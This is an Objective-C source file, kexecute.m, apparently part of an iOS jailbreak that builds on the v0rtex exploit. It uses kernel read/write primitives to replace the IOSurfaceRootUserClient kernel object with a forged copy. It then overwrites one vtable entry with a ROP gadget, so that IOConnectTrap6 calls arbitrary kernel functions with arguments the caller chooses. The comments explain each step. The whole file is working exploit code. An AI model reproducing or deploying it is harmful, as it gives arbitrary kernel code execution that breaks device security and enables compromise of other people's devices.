kexecute.m 4.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112
  1. #include <pthread.h>
  2. #include <Foundation/Foundation.h>
  3. #include "kmem.h"
  4. #include "kexecute.h"
  5. #include "../kern_utils.h"
  6. #include "offsetof.h"
  7. #include "patchfinder64.h"
  8. mach_port_t prepare_user_client(void) {
  9. kern_return_t err;
  10. mach_port_t user_client;
  11. io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
  12. if (service == IO_OBJECT_NULL){
  13. printf(" [-] unable to find service\n");
  14. exit(EXIT_FAILURE);
  15. }
  16. err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
  17. if (err != KERN_SUCCESS){
  18. printf(" [-] unable to get user client connection\n");
  19. exit(EXIT_FAILURE);
  20. }
  21. printf("got user client: 0x%x\n", user_client);
  22. return user_client;
  23. }
  24. pthread_mutex_t kexecute_lock;
  25. static mach_port_t user_client;
  26. static uint64_t IOSurfaceRootUserClient_port;
  27. static uint64_t IOSurfaceRootUserClient_addr;
  28. static uint64_t fake_vtable;
  29. static uint64_t fake_client;
  30. const int fake_kalloc_size = 0x1000;
  31. void init_kexecute(void) {
  32. user_client = prepare_user_client();
  33. // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
  34. IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address
  35. if (IOSurfaceRootUserClient_port <= 0) {
  36. NSLog(@"error calling find_port whilst initializing kexecute!");
  37. return;
  38. }
  39. IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
  40. uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
  41. // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
  42. // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
  43. // Create the vtable in the kernel memory, then copy the existing vtable into there
  44. fake_vtable = kalloc(fake_kalloc_size);
  45. for (int i = 0; i < 0x200; i++) {
  46. wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
  47. }
  48. // Create the fake user client
  49. fake_client = kalloc(fake_kalloc_size);
  50. for (int i = 0; i < 0x200; i++) {
  51. wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
  52. }
  53. // Write our fake vtable into the fake user client
  54. wk64(fake_client, fake_vtable);
  55. // Replace the user client with ours
  56. wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);
  57. // Now the userclient port we have will look into our fake user client rather than the old one
  58. // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
  59. wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());
  60. pthread_mutex_init(&kexecute_lock, NULL);
  61. }
  62. void term_kexecute(void) {
  63. wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
  64. kfree(fake_vtable, fake_kalloc_size);
  65. kfree(fake_client, fake_kalloc_size);
  66. }
  67. uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
  68. pthread_mutex_lock(&kexecute_lock);
  69. // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
  70. // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
  71. // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
  72. // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
  73. // through like normal.
  74. // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
  75. // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
  76. // (i'm not actually sure if the switch back is necessary but meh)
  77. uint64_t offx20 = rk64(fake_client+0x40);
  78. uint64_t offx28 = rk64(fake_client+0x48);
  79. wk64(fake_client+0x40, x0);
  80. wk64(fake_client+0x48, addr);
  81. uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
  82. wk64(fake_client+0x40, offx20);
  83. wk64(fake_client+0x48, offx28);
  84. pthread_mutex_unlock(&kexecute_lock);
  85. return returnval;
  86. }